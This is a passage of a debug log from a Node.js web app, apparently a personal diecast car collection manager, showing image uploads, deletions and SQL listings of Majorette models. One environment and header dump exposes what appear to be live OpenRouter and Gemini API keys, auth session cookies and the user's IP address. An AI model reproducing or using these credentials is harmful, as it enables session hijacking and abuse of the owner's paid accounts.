  rel: 'assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp'
}
2026-02-04T10:55:39.596Z server-connect:output upload_image: [
  {
    name: 's-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp',
    path: '/public/assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp',
    url: '/assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp',
    type: 'image/webp',
    size: 121644
  }
]
2026-02-04T10:55:39.596Z server-connect:app Executing action step repeat
2026-02-04T10:55:39.596Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:55:39.596Z server-connect:app Executing action step insert
2026-02-04T10:55:39.596Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:55:39.597Z server-connect:output images: { affected: 1, identity: 209 }
2026-02-04T10:55:39.597Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:55:39.597Z server-connect:output condition: undefined
2026-02-04T10:55:39.815Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:55:39.815Z server-connect:app Executing action step identify
2026-02-04T10:55:39.815Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:39.815Z server-connect:output identity: 1
2026-02-04T10:55:39.815Z server-connect:app Executing action step restrict
2026-02-04T10:55:39.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:39.816Z server-connect:output restrict: undefined
2026-02-04T10:55:39.816Z server-connect:app Executing action step paged
2026-02-04T10:55:39.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:55:39.818Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:09.189Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:57:09.190Z server-connect:app Executing action step identify
2026-02-04T10:57:09.190Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:09.190Z server-connect:output identity: 1
2026-02-04T10:57:09.190Z server-connect:app Executing action step restrict
2026-02-04T10:57:09.190Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:09.191Z server-connect:output restrict: undefined
2026-02-04T10:57:09.191Z server-connect:app Executing action step single
2026-02-04T10:57:09.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:57:09.192Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_221203_94a1ddb3-2daa-4742-bad1-4b5ec7ada912.jpg'
}
2026-02-04T10:57:09.192Z server-connect:app Executing action step delete
2026-02-04T10:57:09.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:09.193Z server-connect:output delete: { affected: 1 }
2026-02-04T10:57:09.193Z server-connect:app Executing action step remove
2026-02-04T10:57:09.193Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:57:09.193Z server-connect:output fileRemove: true
2026-02-04T10:57:09.492Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:09.492Z server-connect:app Executing action step identify
2026-02-04T10:57:09.492Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:09.492Z server-connect:output identity: 1
2026-02-04T10:57:09.492Z server-connect:app Executing action step restrict
2026-02-04T10:57:09.492Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:09.492Z server-connect:output restrict: undefined
2026-02-04T10:57:09.492Z server-connect:app Executing action step paged
2026-02-04T10:57:09.493Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:09.497Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:09.782Z server-connect:router Serving templateView /
2026-02-04T10:57:09.783Z server-connect:app Executing action step identify
2026-02-04T10:57:09.783Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:09.783Z server-connect:output identity: 1
2026-02-04T10:57:09.783Z server-connect:app Executing action step restrict
2026-02-04T10:57:09.783Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:09.783Z server-connect:output restrict: undefined
2026-02-04T10:57:09.783Z server-connect:app Executing action step restrict
2026-02-04T10:57:09.783Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:09.783Z server-connect:output restrict: undefined
2026-02-04T10:57:09.783Z server-connect:router Render template layouts/main
2026-02-04T10:57:09.784Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:57:14.811Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:57:14.812Z server-connect:app Executing action step identify
2026-02-04T10:57:14.812Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:14.812Z server-connect:output identity: 1
2026-02-04T10:57:14.812Z server-connect:app Executing action step restrict
2026-02-04T10:57:14.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:14.813Z server-connect:output restrict: undefined
2026-02-04T10:57:14.813Z server-connect:app Executing action step condition
2026-02-04T10:57:14.813Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:57:14.813Z server-connect:app Executing action step update
2026-02-04T10:57:14.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:57:14.814Z server-connect:output update: { affected: 1 }
2026-02-04T10:57:14.814Z server-connect:app Executing action step upload
2026-02-04T10:57:14.814Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:57:14.814Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:57:14.814Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:57:14.814Z server-connect:upload Processing file: {
  name: 's-l1600 (6).webp',
  data: <Buffer >,
  size: 132054,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-59-20378841770202634810',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'e0405fb35e83f9f856b19100995f6332',
  mv: [Function: mv]
}
2026-02-04T10:57:14.814Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp',
  rel: 'public/assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp'
}
2026-02-04T10:57:14.814Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp',
  rel: 'assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp'
}
2026-02-04T10:57:14.814Z server-connect:output upload_image: [
  {
    name: 's-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp',
    path: '/public/assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp',
    url: '/assets/images/diecast/s-l1600_6_99c97409-f8b0-45e9-9609-6c400529beda.webp',
    type: 'image/webp',
    size: 132054
  }
]
2026-02-04T10:57:14.814Z server-connect:app Executing action step repeat
2026-02-04T10:57:14.814Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:57:14.814Z server-connect:app Executing action step insert
2026-02-04T10:57:14.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:14.814Z server-connect:output images: { affected: 1, identity: 210 }
2026-02-04T10:57:14.815Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:57:14.815Z server-connect:output condition: undefined
2026-02-04T10:57:15.087Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:15.088Z server-connect:app Executing action step identify
2026-02-04T10:57:15.088Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:15.088Z server-connect:output identity: 1
2026-02-04T10:57:15.088Z server-connect:app Executing action step restrict
2026-02-04T10:57:15.088Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:15.088Z server-connect:output restrict: undefined
2026-02-04T10:57:15.088Z server-connect:app Executing action step paged
2026-02-04T10:57:15.088Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:15.091Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:19.823Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:57:19.824Z server-connect:app Executing action step identify
2026-02-04T10:57:19.824Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:19.824Z server-connect:output identity: 1
2026-02-04T10:57:19.824Z server-connect:app Executing action step restrict
2026-02-04T10:57:19.824Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:19.824Z server-connect:output restrict: undefined
2026-02-04T10:57:19.824Z server-connect:app Executing action step single
2026-02-04T10:57:19.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:57:19.825Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_221055_988e679c-1ad3-4cc7-b644-e548d9da4a7c.jpg'
}
2026-02-04T10:57:19.825Z server-connect:app Executing action step delete
2026-02-04T10:57:19.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
